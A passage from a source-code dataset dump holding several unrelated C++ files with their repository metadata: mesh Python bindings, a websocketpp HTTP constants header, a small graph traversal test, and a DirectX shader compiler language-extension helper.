&vertex)) return NULL; Base::VectorPy *pcObject = static_cast<Base::VectorPy*>(vertex); Base::Vector3d* val = pcObject->getVectorPtr(); Base::Vector3f v((float)val->x,(float)val->y,(float)val->z); PY_TRY { if (facet >= getMeshObjectPtr()->countFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } getMeshObjectPtr()->insertVertex(facet, v); } PY_CATCH; Py_Return; } PyObject* MeshPy::snapVertex(PyObject *args) { unsigned long facet; PyObject* vertex; if (!PyArg_ParseTuple(args, "kO!", &facet, &Base::VectorPy::Type, &vertex)) return NULL; Base::VectorPy *pcObject = static_cast<Base::VectorPy*>(vertex); Base::Vector3d* val = pcObject->getVectorPtr(); Base::Vector3f v((float)val->x,(float)val->y,(float)val->z); PY_TRY { if (facet >= getMeshObjectPtr()->countFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } getMeshObjectPtr()->snapVertex(facet, v); } PY_CATCH; Py_Return; } PyObject* MeshPy::printInfo(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; return Py_BuildValue("s", getMeshObjectPtr()->topologyInfo().c_str()); } PyObject* MeshPy::collapseFacets(PyObject *args) { PyObject *pcObj=0; if (!PyArg_ParseTuple(args, "O", &pcObj)) // convert args: Python->C return 0; // NULL triggers exception // if no mesh is given if (PyList_Check(pcObj)) { std::vector<unsigned long> facets; for (int i = 0; i < PyList_Size(pcObj); i++) { PyObject *idx = PyList_GetItem(pcObj, i); if (PyInt_Check(idx)){ unsigned long iIdx = PyInt_AsLong(idx); facets.push_back(iIdx); } else { Py_Error(PyExc_Exception, "list of integers needed"); } } getMeshObjectPtr()->collapseFacets(facets); } else { Py_Error(PyExc_Exception, "List of Integers needed"); } Py_Return; } PyObject* MeshPy::foraminate(PyObject *args) { PyObject* pnt_p; PyObject* dir_p; if (!PyArg_ParseTuple(args, "OO", &pnt_p, &dir_p)) return NULL; try { Py::Tuple pnt_t(pnt_p); Py::Tuple dir_t(dir_p); Base::Vector3f pnt((float)Py::Float(pnt_t.getItem(0)), (float)Py::Float(pnt_t.getItem(1)), (float)Py::Float(pnt_t.getItem(2))); Base::Vector3f dir((float)Py::Float(dir_t.getItem(0)), (float)Py::Float(dir_t.getItem(1)), (float)Py::Float(dir_t.getItem(2))); Base::Vector3f res; MeshCore::MeshFacetIterator f_it(getMeshObjectPtr()->getKernel()); int index = 0; Py::Dict dict; for (f_it.Begin(); f_it.More(); f_it.Next(), index++) { if (f_it->Foraminate(pnt, dir, res)) { Py::Tuple tuple(3); tuple.setItem(0, Py::Float(res.x)); tuple.setItem(1, Py::Float(res.y)); tuple.setItem(2, Py::Float(res.z)); dict.setItem(Py::Int(index), tuple); } } return Py::new_reference_to(dict); } catch (const Py::Exception&) { return 0; } } PyObject* MeshPy::cut(PyObject *args) { PyObject* poly; int mode; if (!PyArg_ParseTuple(args, "Oi", &poly, &mode)) return NULL; Py::Sequence list(poly); std::vector<Base::Vector3f> polygon; polygon.reserve(list.size()); for (Py::Sequence::iterator it = list.begin(); it != list.end(); ++it) { Base::Vector3d pnt = Py::Vector(*it).toVector(); polygon.push_back(Base::convertTo<Base::Vector3f>(pnt)); } MeshCore::FlatTriangulator tria; tria.SetPolygon(polygon); // this gives us the inverse matrix Base::Matrix4D inv = tria.GetTransformToFitPlane(); // compute the matrix for the coordinate transformation Base::Matrix4D mat = inv; mat.inverseOrthogonal(); polygon = tria.ProjectToFitPlane(); Base::ViewProjMatrix proj(mat); Base::Polygon2D polygon2d; for (std::vector<Base::Vector3f>::const_iterator it = polygon.begin(); it != polygon.end(); ++it) polygon2d.Add(Base::Vector2D(it->x, it->y)); getMeshObjectPtr()->cut(polygon2d, proj, MeshObject::CutType(mode)); Py_Return; } PyObject* MeshPy::trim(PyObject *args) { PyObject* poly; int mode; if (!PyArg_ParseTuple(args, "Oi", &poly, &mode)) return NULL; Py::Sequence list(poly); std::vector<Base::Vector3f> polygon; polygon.reserve(list.size()); for (Py::Sequence::iterator it = list.begin(); it != list.end(); ++it) { Base::Vector3d pnt = Py::Vector(*it).toVector(); polygon.push_back(Base::convertTo<Base::Vector3f>(pnt)); } MeshCore::FlatTriangulator tria; tria.SetPolygon(polygon); // this gives us the inverse matrix Base::Matrix4D inv = tria.GetTransformToFitPlane(); // compute the matrix for the coordinate transformation Base::Matrix4D mat = inv; mat.inverseOrthogonal(); polygon = tria.ProjectToFitPlane(); Base::ViewProjMatrix proj(mat); Base::Polygon2D polygon2d; for (std::vector<Base::Vector3f>::const_iterator it = polygon.begin(); it != polygon.end(); ++it) polygon2d.Add(Base::Vector2D(it->x, it->y)); getMeshObjectPtr()->trim(polygon2d, proj, MeshObject::CutType(mode)); Py_Return; } PyObject* MeshPy::smooth(PyObject *args) { int iter=1; float d_max=FLOAT_MAX; if (!PyArg_ParseTuple(args, "|if", &iter,&d_max)) return NULL; PY_TRY { MeshPropertyLock lock(this->parentProperty); getMeshObjectPtr()->smooth(iter, d_max); } PY_CATCH; Py_Return; } PyObject* MeshPy::nearestFacetOnRay(PyObject *args) { PyObject* pnt_p; PyObject* dir_p; if (!PyArg_ParseTuple(args, "OO", &pnt_p, &dir_p)) return NULL; try { Py::Tuple pnt_t(pnt_p); Py::Tuple dir_t(dir_p); Py::Dict dict; Base::Vector3f pnt((float)Py::Float(pnt_t.getItem(0)), (float)Py::Float(pnt_t.getItem(1)), (float)Py::Float(pnt_t.getItem(2))); Base::Vector3f dir((float)Py::Float(dir_t.getItem(0)), (float)Py::Float(dir_t.getItem(1)), (float)Py::Float(dir_t.getItem(2))); unsigned long index = 0; Base::Vector3f res; MeshCore::MeshAlgorithm alg(getMeshObjectPtr()->getKernel()); #if 0 // for testing only MeshCore::MeshFacetGrid grid(getMeshObjectPtr()->getKernel(),10); // With grids we might search in the opposite direction, too if (alg.NearestFacetOnRay(pnt, dir, grid, res, index) || alg.NearestFacetOnRay(pnt, -dir, grid, res, index)) { #else if (alg.NearestFacetOnRay(pnt, dir, res, index)) { #endif Py::Tuple tuple(3); tuple.setItem(0, Py::Float(res.x)); tuple.setItem(1, Py::Float(res.y)); tuple.setItem(2, Py::Float(res.z)); dict.setItem(Py::Int((int)index), tuple); } #if 0 // for testing only char szBuf[200]; std::ofstream str("grid_test.iv"); Base::InventorBuilder builder(str); MeshCore::MeshGridIterator g_it(grid); for (g_it.Init(); g_it.More(); g_it.Next()) { Base::BoundBox3f box = g_it.GetBoundBox(); unsigned long uX,uY,uZ; g_it.GetGridPos(uX,uY,uZ); builder.addBoundingBox(Base::Vector3f(box.MinX,box.MinY, box.MinZ), Base::Vector3f(box.MaxX,box.MaxY, box.MaxZ)); sprintf(szBuf, "(%lu,%lu,%lu)", uX, uY, uZ); builder.addText(box.CalcCenter(), szBuf); } builder.addSingleArrow(pnt-20.0f*dir, pnt+10.0f*dir); builder.close(); str.close(); #endif return Py::new_reference_to(dict); } catch (const Py::Exception&) { return 0; } } PyObject* MeshPy::getPlanarSegments(PyObject *args) { float dev; unsigned long minFacets=0; if (!PyArg_ParseTuple(args, "f|k",&dev,&minFacets)) return NULL; Mesh::MeshObject* mesh = getMeshObjectPtr(); std::vector<Mesh::Segment> segments = mesh->getSegmentsFromType (Mesh::MeshObject::PLANE, Mesh::Segment(mesh,false), dev, minFacets); Py::List s; for (std::vector<Mesh::Segment>::iterator it = segments.begin(); it != segments.end(); ++it) { const std::vector<unsigned long>& segm = it->getIndices(); Py::List ary; for (std::vector<unsigned long>::const_iterator jt = segm.begin(); jt != segm.end(); ++jt) { ary.append(Py::Int((int)*jt)); } s.append(ary); } return Py::new_reference_to(s); } PyObject* MeshPy::getSegmentsByCurvature(PyObject *args) { PyObject* l; if (!PyArg_ParseTuple(args, "O",&l)) return NULL; const MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); MeshCore::MeshSegmentAlgorithm finder(kernel); MeshCore::MeshCurvature meshCurv(kernel); meshCurv.ComputePerVertex(); Py::Sequence func(l); std::vector<MeshCore::MeshSurfaceSegment*> segm; for (Py::Sequence::iterator it = func.begin(); it != func.end(); ++it) { Py::Tuple t(*it); float c1 = (float)Py::Float(t[0]); float c2 = (float)Py::Float(t[1]); float tol1 = (float)Py::Float(t[2]); float tol2 = (float)Py::Float(t[3]); int num = (int)Py::Int(t[4]); segm.push_back(new MeshCore::MeshCurvatureFreeformSegment(meshCurv.GetCurvature(), num, tol1, tol2, c1, c2)); } finder.FindSegments(segm); Py::List list; for (std::vector<MeshCore::MeshSurfaceSegment*>::iterator segmIt = segm.begin(); segmIt != segm.end(); ++segmIt) { const std::vector<MeshCore::MeshSegment>& data = (*segmIt)->GetSegments(); for (std::vector<MeshCore::MeshSegment>::const_iterator it = data.begin(); it != data.end(); ++it) { Py::List ary; for (MeshCore::MeshSegment::const_iterator jt = it->begin(); jt != it->end(); ++jt) { ary.append(Py::Int((int)*jt)); } list.append(ary); } delete (*segmIt); } return Py::new_reference_to(list); } Py::Int MeshPy::getCountPoints(void) const { return Py::Int((long)getMeshObjectPtr()->countPoints()); } Py::Int MeshPy::getCountEdges(void) const { return Py::Int((long)getMeshObjectPtr()->countEdges()); } Py::Int MeshPy::getCountFacets(void) const { return Py::Int((long)getMeshObjectPtr()->countFacets()); } Py::Float MeshPy::getArea(void) const { return Py::Float(getMeshObjectPtr()->getSurface()); } Py::Float MeshPy::getVolume(void) const { return Py::Float(getMeshObjectPtr()->getVolume()); } PyObject *MeshPy::getCustomAttributes(const char* attr) const { return 0; } int MeshPy::setCustomAttributes(const char* attr, PyObject *obj) { return 0; } Py::List MeshPy::getPoints(void) const { Py::List PointList; unsigned int Index=0; MeshObject* mesh = getMeshObjectPtr(); for (MeshObject::const_point_iterator it = mesh->points_begin(); it != mesh->points_end(); ++it) { PointList.append(Py::Object(new MeshPointPy(new MeshPoint(*it,getMeshObjectPtr(),Index++)), true)); } return PointList; } Py::List MeshPy::getFacets(void) const { Py::List FacetList; MeshObject* mesh = getMeshObjectPtr(); for (MeshObject::const_facet_iterator it = mesh->facets_begin(); it != mesh->facets_end(); ++it) { FacetList.append(Py::Object(new FacetPy(new Facet(*it)), true)); } return FacetList; } Py::Tuple MeshPy::getTopology(void) const { std::vector<Base::Vector3d> Points; std::vector<Data::ComplexGeoData::Facet> Facets; getMeshObjectPtr()->getFaces(Points, Facets, 0.0f); Py::Tuple tuple(2); Py::List vertex; for (std::vector<Base::Vector3d>::const_iterator it = Points.begin(); it != Points.end(); ++it) vertex.append(Py::Object(new Base::VectorPy(*it))); tuple.setItem(0, vertex); Py::List facet; for (std::vector<Data::ComplexGeoData::Facet>::const_iterator it = Facets.begin(); it != Facets.end(); ++it) { Py::Tuple f(3); f.setItem(0,Py::Int((int)it->I1)); f.setItem(1,Py::Int((int)it->I2)); f.setItem(2,Py::Int((int)it->I3)); facet.append(f); } tuple.setItem(1, facet); return tuple; }
[ "alex-rivet94@hotmail.fr" ]
alex-rivet94@hotmail.fr
1026c51d3ec36b42c367e4be0699e34270ac5ca4
3ed65ce239f2db5de08b5c45caa97525a7379beb
/src/websocketpp/websocketpp/http/constants.hpp
334a78c20368059bdfb4798257b682496ad601f8
[ "BSD-3-Clause", "Zlib", "MIT", "MIT-Wu", "ISC", "BSL-1.0" ]
permissive
moorecoin/MooreCoinService
9466aac3683ccc52e7ea89906e2bc6c90dae9922
6de5f5032972147c0d43c3ae48a088f9e1fa7d28
refs/heads/master
2021-01-10T06:05:51.501738
2015-11-14T13:18:47
2015-11-14T13:18:47
46,175,388
0
0
null
null
null
null
UTF-8
C++
false
false
11,216
hpp
/* * copyright (c) 2014, peter thorson. all rights reserved. * * redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * neither the name of the websocket++ project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * this software is provided by the copyright holders and contributors "as is" * and any express or implied warranties, including, but not limited to, the * implied warranties of merchantability and fitness for a particular purpose * are disclaimed. in no event shall peter thorson be liable for any * direct, indirect, incidental, special, exemplary, or consequential damages * (including, but not limited to, procurement of substitute goods or services; * loss of use, data, or profits; or business interruption) however caused and * on any theory of liability, whether in contract, strict liability, or tort * (including negligence or otherwise) arising in any way out of the use of this * software, even if advised of the possibility of such damage. * */ #ifndef http_constants_hpp #define http_constants_hpp #include <map> #include <string> #include <vector> namespace websocketpp { /// http handling support namespace http { /// the type of an http attribute list /** * the attribute list is an unordered key/value map. encoded attribute * values are delimited by semicolons. */ typedef std::map<std::string,std::string> attribute_list; /// the type of an http parameter list /** * the parameter list is an ordered pairing of a parameter and its * associated attribute list. encoded parameter values are delimited by * commas. */ typedef std::vector< std::pair<std::string,attribute_list> > parameter_list; /// literal value of the http header delimiter static char const header_delimiter[] = "\r\n"; /// literal value of the http header separator static char const header_separator[] = ":"; /// literal value of an empty header static std::string const empty_header = ""; /// maximum size in bytes before rejecting an http header as too big. size_t const max_header_size = 16000; /// number of bytes to use for temporary istream read buffers size_t const istream_buffer = 512; /// invalid http token characters /** * 0x00 - 0x32, 0x7f-0xff * ( ) < > @ , ; : \ " / [ ] ? = { } */ static char const header_token[] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 00..0f 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 10..1f 0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0, // 20..2f 1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0, // 30..3f 0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 40..4f 1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1, // 50..5f 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 60..6f 1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0, // 70..7f 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 80..8f 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 90..9f 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // a0..af 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // b0..bf 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // c0..cf 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // d0..df 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // e0..ef 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // f0..ff }; /// is the character a token inline bool is_token_char(unsigned char c) { return (header_token[c] == 1); } /// is the character a non-token inline bool is_not_token_char(unsigned char c) { return !header_token[c]; } /// is the character whitespace /** * whitespace is space (32) or horizontal tab (9) */ inline bool is_whitespace_char(unsigned char c) { return (c == 9 || c == 32); } /// is the character non-whitespace inline bool is_not_whitespace_char(unsigned char c) { return (c != 9 && c != 32); } /// http status codes namespace status_code { enum value { uninitialized = 0, continue_code = 100, switching_protocols = 101, ok = 200, created = 201, accepted = 202, non_authoritative_information = 203, no_content = 204, reset_content = 205, partial_content = 206, multiple_choices = 300, moved_permanently = 301, found = 302, see_other = 303, not_modified = 304, use_proxy = 305, temporary_redirect = 307, bad_request = 400, unauthorized = 401, payment_required = 402, forbidden = 403, not_found = 404, method_not_allowed = 405, not_acceptable = 406, proxy_authentication_required = 407, request_timeout = 408, conflict = 409, gone = 410, length_required = 411, precondition_failed = 412, request_entity_too_large = 413, request_uri_too_long = 414, unsupported_media_type = 415, request_range_not_satisfiable = 416, expectation_failed = 417, im_a_teapot = 418, upgrade_required = 426, precondition_required = 428, too_many_requests = 429, request_header_fields_too_large = 431, internal_server_error = 500, not_implemented = 501, bad_gateway = 502, service_unavailable = 503, gateway_timeout = 504, http_version_not_supported = 505, not_extended = 510, network_authentication_required = 511 }; // todo: should this be inline? inline std::string get_string(value c) { switch (c) { case uninitialized: return "uninitialized"; case continue_code: return "continue"; case switching_protocols: return "switching protocols"; case ok: return "ok"; case created: return "created"; case accepted: return "accepted"; case non_authoritative_information: return "non authoritative information"; case no_content: return "no content"; case reset_content: return "reset content"; case partial_content: return "partial content"; case multiple_choices: return "multiple choices"; case moved_permanently: return "moved permanently"; case found: return "found"; case see_other: return "see other"; case not_modified: return "not modified"; case use_proxy: return "use proxy"; case temporary_redirect: return "temporary redirect"; case bad_request: return "bad request"; case unauthorized: return "unauthorized"; case payment_required: return "payment required"; case forbidden: return "forbidden"; case not_found: return "not found"; case method_not_allowed: return "method not allowed"; case not_acceptable: return "not acceptable"; case proxy_authentication_required: return "proxy authentication required"; case request_timeout: return "request timeout"; case conflict: return "conflict"; case gone: return "gone"; case length_required: return "length required"; case precondition_failed: return "precondition failed"; case request_entity_too_large: return "request entity too large"; case request_uri_too_long: return "request-uri too long"; case unsupported_media_type: return "unsupported media type"; case request_range_not_satisfiable: return "requested range not satisfiable"; case expectation_failed: return "expectation failed"; case im_a_teapot: return "i'm a teapot"; case upgrade_required: return "upgrade required"; case precondition_required: return "precondition required"; case too_many_requests: return "too many requests"; case request_header_fields_too_large: return "request header fields too large"; case internal_server_error: return "internal server error"; case not_implemented: return "not implemented"; case bad_gateway: return "bad gateway"; case service_unavailable: return "service unavailable"; case gateway_timeout: return "gateway timeout"; case http_version_not_supported: return "http version not supported"; case not_extended: return "not extended"; case network_authentication_required: return "network authentication required"; default: return "unknown"; } } } class exception : public std::exception { public: exception(const std::string& log_msg, status_code::value error_code, const std::string& error_msg = "", const std::string& body = "") : m_msg(log_msg) , m_error_msg(error_msg) , m_body(body) , m_error_code(error_code) {} ~exception() throw() {} virtual const char* what() const throw() { return m_msg.c_str(); } std::string m_msg; std::string m_error_msg; std::string m_body; status_code::value m_error_code; }; } } #endif // http_constants_hpp
[ "mooreccc@foxmail.com" ]
mooreccc@foxmail.com
322a38ad094075719a4c1758e0cd38e91ed7d5a3
a1c159640e389990b8dff547c4ff660049a82174
/C++/Graph/test.cpp
a17f9d12a0f3d2b53b5ebb712bb31cf091e4b29b
[]
no_license
shashankgargnyu/algorithms
8c7180c29940184286956202bee0e36a11a9bb5c
fa7c6761235f4b486af1f394a63539c3a06ecbf2
refs/heads/master
2021-01-18T21:12:30.511170
2017-04-02T05:43:02
2017-04-02T05:43:02
87,013,754
0
1
null
2017-04-02T20:24:08
2017-04-02T20:24:08
null
UTF-8
C++
false
false
1,498
cpp
// // main.cpp // Graph // // Created by Xiaohang Su on 11/25/16. // // #include <iostream> #include "Graph.hpp" using namespace std; int main(int argc, const char * argv[]) { // insert code here.. vector<Node *> con; Node *a = new Node(1); Node *b = new Node(2); Node *c = new Node(3); Node *d = new Node(4); Node *e = new Node(5); Node *f = new Node(6); Node *g = new Node(7); Node *h = new Node(8); con.push_back(a); con.push_back(b); con.push_back(c); con.push_back(d); con.push_back(e); con.push_back(f); con.push_back(g); con.push_back(h); Node* nei[] = {}; a->neighbor.insert(a->neighbor.end(), nei, nei); Node* nei1[] = {d, g, h}; b->neighbor.insert(b->neighbor.end(), nei1, nei1 + 3); Node* nei2[] = {b, d, f, g, h}; c->neighbor.insert(c->neighbor.end(), nei2, nei2 + 5); Node* nei3[] = {b}; d->neighbor.insert(d->neighbor.end(), nei3, nei3 + 1); Node* nei4[] = {a, b, g, h}; e->neighbor.insert(e->neighbor.end(), nei4, nei4 + 4); Node* nei5[] = {c, d, e}; f->neighbor.insert(f->neighbor.end(), nei5, nei5 + 3); Node* nei6[] = {d, h}; g->neighbor.insert(g->neighbor.end(), nei6, nei6 + 2); Node* nei7[] = {a, e}; h->neighbor.insert(h->neighbor.end(), nei7, nei7 + 2); Graph graph(con); cout << "DFS - :" << endl; graph.DFS(); graph.setAllWhite(); graph.print_path(b, h); return 0; }
[ "sxhdragon@gmail.com" ]
sxhdragon@gmail.com
d8348d7ddd60bb11580ec343d55ba70f3718ec01
40f0582cd9b932f239428923a9f70ec15ea87aad
/ThirdParty/DirectXShaderCompiler/dxc/Support/DxcLangExtensionsHelper.h
942c0fac47e78aab32d3279a368a3b930d284b75
[ "MIT" ]
permissive
yearling/SpartanEngine
95405d5276237504299498464b0b0184f0ac742a
2090901a0a1b79b1757d7c86250711d74651b6ac
refs/heads/master
2022-04-18T08:39:17.179716
2020-04-19T20:34:02
2020-04-19T20:34:02
257,377,327
1
0
MIT
2020-04-20T19:01:46
2020-04-20T19:01:45
null
UTF-8
C++
false
false
9,906
h
/////////////////////////////////////////////////////////////////////////////// // // // DxcLangExtensionsHelper.h // // Copyright (C) Microsoft Corporation. All rights reserved. // // This file is distributed under the University of Illinois Open Source // // License. See LICENSE.TXT for details. // // // // Provides a helper class to implement language extensions to HLSL. // // // /////////////////////////////////////////////////////////////////////////////// #ifndef __DXCLANGEXTENSIONSHELPER_H__ #define __DXCLANGEXTENSIONSHELPER_H__ #include "dxc/Support/Unicode.h" #include "dxc/Support/FileIOHelper.h" #include <vector> namespace llvm { class raw_string_ostream; class CallInst; class Value; } namespace clang { class CompilerInstance; } namespace hlsl { class DxcLangExtensionsHelper : public DxcLangExtensionsHelperApply { private: llvm::SmallVector<std::string, 2> m_semanticDefines; llvm::SmallVector<std::string, 2> m_semanticDefineExclusions; llvm::SmallVector<std::string, 2> m_defines; llvm::SmallVector<CComPtr<IDxcIntrinsicTable>, 2> m_intrinsicTables; CComPtr<IDxcSemanticDefineValidator> m_semanticDefineValidator; std::string m_semanticDefineMetaDataName; HRESULT STDMETHODCALLTYPE RegisterIntoVector(LPCWSTR name, llvm::SmallVector<std::string, 2>& here) { try { IFTPTR(name); std::string s; if (!Unicode::UTF16ToUTF8String(name, &s)) { throw ::hlsl::Exception(E_INVALIDARG); } here.push_back(s); return S_OK; } CATCH_CPP_RETURN_HRESULT(); } public: const llvm::SmallVector<std::string, 2>& GetSemanticDefines() const { return m_semanticDefines; } const llvm::SmallVector<std::string, 2>& GetSemanticDefineExclusions() const { return m_semanticDefineExclusions; } const llvm::SmallVector<std::string, 2>& GetDefines() const { return m_defines; } llvm::SmallVector<CComPtr<IDxcIntrinsicTable>, 2>& GetIntrinsicTables(){ return m_intrinsicTables; } const std::string &GetSemanticDefineMetadataName() { return m_semanticDefineMetaDataName; } HRESULT STDMETHODCALLTYPE RegisterSemanticDefine(LPCWSTR name) { return RegisterIntoVector(name, m_semanticDefines); } HRESULT STDMETHODCALLTYPE RegisterSemanticDefineExclusion(LPCWSTR name) { return RegisterIntoVector(name, m_semanticDefineExclusions); } HRESULT STDMETHODCALLTYPE RegisterDefine(LPCWSTR name) { return RegisterIntoVector(name, m_defines); } HRESULT STDMETHODCALLTYPE RegisterIntrinsicTable(_In_ IDxcIntrinsicTable* pTable) { try { IFTPTR(pTable); LPCSTR tableName = nullptr; IFT(pTable->GetTableName(&tableName)); IFTPTR(tableName); IFTARG(strcmp(tableName, "op") != 0); // "op" is reserved for builtin intrinsics for (auto &&table : m_intrinsicTables) { LPCSTR otherTableName = nullptr; IFT(table->GetTableName(&otherTableName)); IFTPTR(otherTableName); IFTARG(strcmp(tableName, otherTableName) != 0); // Added a duplicate table name } m_intrinsicTables.push_back(pTable); return S_OK; } CATCH_CPP_RETURN_HRESULT(); } // Set the validator used to validate semantic defines. // Only one validator stored and used to run validation. HRESULT STDMETHODCALLTYPE SetSemanticDefineValidator(_In_ IDxcSemanticDefineValidator* pValidator) { if (pValidator == nullptr) return E_POINTER; m_semanticDefineValidator = pValidator; return S_OK; } HRESULT STDMETHODCALLTYPE SetSemanticDefineMetaDataName(LPCSTR name) { try { m_semanticDefineMetaDataName = name; return S_OK; } CATCH_CPP_RETURN_HRESULT(); } // Get the name of the dxil intrinsic function. std::string GetIntrinsicName(UINT opcode) { LPCSTR pName = ""; for (IDxcIntrinsicTable *table : m_intrinsicTables) { if (SUCCEEDED(table->GetIntrinsicName(opcode, &pName))) { return pName; } } return ""; } // Get the dxil opcode for the extension opcode if one exists. // Return true if the opcode was mapped successfully. bool GetDxilOpCode(UINT opcode, UINT &dxilOpcode) { for (IDxcIntrinsicTable *table : m_intrinsicTables) { if (SUCCEEDED(table->GetDxilOpCode(opcode, &dxilOpcode))) { return true; } } return false; } // Result of validating a semantic define. // Stores any warning or error messages produced by the validator. // Successful validation means that there are no warning or error messages. struct SemanticDefineValidationResult { std::string Warning; std::string Error; bool HasError() { return Error.size() > 0; } bool HasWarning() { return Warning.size() > 0; } static SemanticDefineValidationResult Success() { return SemanticDefineValidationResult(); } }; // Use the contained semantice define validator to validate the given semantic define. SemanticDefineValidationResult ValidateSemanticDefine(const std::string &name, const std::string &value) { if (!m_semanticDefineValidator) return SemanticDefineValidationResult::Success(); // Blobs for getting restul from validator. Strings for returning results to caller. CComPtr<IDxcBlobEncoding> pError; CComPtr<IDxcBlobEncoding> pWarning; std::string error; std::string warning; // Run semantic define validator. HRESULT result = m_semanticDefineValidator->GetSemanticDefineWarningsAndErrors(name.c_str(), value.c_str(), &pWarning, &pError); if (FAILED(result)) { // Failure indicates it was not able to even run validation so // we cannot say whether the define is invalid or not. Return a // generic error message about failure to run the valiadator. error = "failed to run semantic define validator for: "; error.append(name); error.append("="); error.append(value); return SemanticDefineValidationResult{ warning, error }; } // Define a little function to convert encoded blob into a string. auto GetErrorAsString = [&name](const CComPtr<IDxcBlobEncoding> &pBlobString) -> std::string { CComPtr<IDxcBlobEncoding> pUTF8BlobStr; if (SUCCEEDED(hlsl::DxcGetBlobAsUtf8(pBlobString, &pUTF8BlobStr))) return std::string(static_cast<char*>(pUTF8BlobStr->GetBufferPointer()), pUTF8BlobStr->GetBufferSize()); else return std::string("invalid semantic define " + name); }; // Check to see if any warnings or errors were produced. if (pError && pError->GetBufferSize()) { error = GetErrorAsString(pError); } if (pWarning && pWarning->GetBufferSize()) { warning = GetErrorAsString(pWarning); } return SemanticDefineValidationResult{ warning, error }; } void SetupSema(clang::Sema &S) override { clang::ExternalASTSource *astSource = S.getASTContext().getExternalSource(); if (clang::ExternalSemaSource *externalSema = llvm::dyn_cast_or_null<clang::ExternalSemaSource>(astSource)) { for (auto &&table : m_intrinsicTables) { hlsl::RegisterIntrinsicTable(externalSema, table); } } } void SetupPreprocessorOptions(clang::PreprocessorOptions &PPOpts) override { for (const auto & define : m_defines) { PPOpts.addMacroDef(llvm::StringRef(define.c_str())); } } DxcLangExtensionsHelper *GetDxcLangExtensionsHelper() override { return this; } DxcLangExtensionsHelper() : m_semanticDefineMetaDataName("hlsl.semdefs") {} }; // Use this macro to embed an implementation that will delegate to a field. // Note that QueryInterface still needs to return the vtable. #define DXC_LANGEXTENSIONS_HELPER_IMPL(_helper_field_) \ HRESULT STDMETHODCALLTYPE RegisterIntrinsicTable(_In_ IDxcIntrinsicTable *pTable) override { \ DxcThreadMalloc TM(m_pMalloc); \ return (_helper_field_).RegisterIntrinsicTable(pTable); \ } \ HRESULT STDMETHODCALLTYPE RegisterSemanticDefine(LPCWSTR name) override { \ DxcThreadMalloc TM(m_pMalloc); \ return (_helper_field_).RegisterSemanticDefine(name); \ } \ HRESULT STDMETHODCALLTYPE RegisterSemanticDefineExclusion(LPCWSTR name) override { \ DxcThreadMalloc TM(m_pMalloc); \ return (_helper_field_).RegisterSemanticDefineExclusion(name); \ } \ HRESULT STDMETHODCALLTYPE RegisterDefine(LPCWSTR name) override { \ DxcThreadMalloc TM(m_pMalloc); \ return (_helper_field_).RegisterDefine(name); \ } \ HRESULT STDMETHODCALLTYPE SetSemanticDefineValidator(_In_ IDxcSemanticDefineValidator* pValidator) override { \ DxcThreadMalloc TM(m_pMalloc); \ return (_helper_field_).SetSemanticDefineValidator(pValidator); \ } \ HRESULT STDMETHODCALLTYPE SetSemanticDefineMetaDataName(LPCSTR name) override { \ DxcThreadMalloc TM(m_pMalloc); \ return (_helper_field_).SetSemanticDefineMetaDataName(name); \ } \ // A parsed semantic define is a semantic define that has actually been // parsed by the compiler. It has a name (required), a value (could be // the empty string), and a location. We use an encoded clang::SourceLocation // for the location to avoid a clang include dependency. struct ParsedSemanticDefine{ std::string Name; std::string Value; unsigned Location; }; typedef std::vector<ParsedSemanticDefine> ParsedSemanticDefineList; // Return the collection of semantic defines parsed by the compiler instance. ParsedSemanticDefineList CollectSemanticDefinesParsedByCompiler(clang::CompilerInstance &compiler, _In_ DxcLangExtensionsHelper *helper); } // namespace hlsl #endif
[ "panosconroe@hotmail.com" ]
panosconroe@hotmail.com
a48c8e0cb9ee4f45d186bbce59c0761889522874
4dfabddf5852a71479840b4d8fbb5454ae839266
/Day 13/chat-room.cpp
0a61b3ca47f8591f813ceae63233e1b2303d2bb3
[ "MIT" ]
permissive
tushar-nath/100-days-of-code
b04c9eb3134a8453d736ac1c8a263a147d691bd9
860c088968521d953f5ca9222f70037e95cb4ad4
refs/heads/main
2023-07-14T02:15:37.496278
2021-08-21T17:43:36
2021-08-21T17:43:36
367,807,635
0
0
null
2021-05-16T07:01:31
2021-05-16T07:01:31
null
UTF-8
C++
false
false
353
cpp
#include <iostream> #include <string> using namespace std; int main() { string word="hello"; string s; cin>>s; int a=0, count=0; for (int i=0; i<s.length(); i++) { if(s[i]==word[a]) { count++; a++; } } if (count==5) cout<<"YES"; else cout<<"NO"; return 0; }
[ "tusharnath10@gmail.com" ]
tusharnath10@gmail.com
87ef29c0b18d0e09341cfb2e27ed0fcb6efa1090
62ffd41447b855d4e36551af102b0dd252bc333f
/Source/ThirdParty/ANGLE/src/compiler/Intermediate.cpp
5a416d6b67167cb802fab527291ad072a9ae60b9
[]
no_license
fatman2021/webkitgtk
8ffae9d18dfb3dd4dbe8884ddb59a9434f2b3568
387f85cda822cbaa3a13642a319d9452cb1518f6
refs/heads/master
2020-12-03T03:52:59.477701
2013-10-28T17:04:33
2013-10-28T17:04:33
null
0
0
null
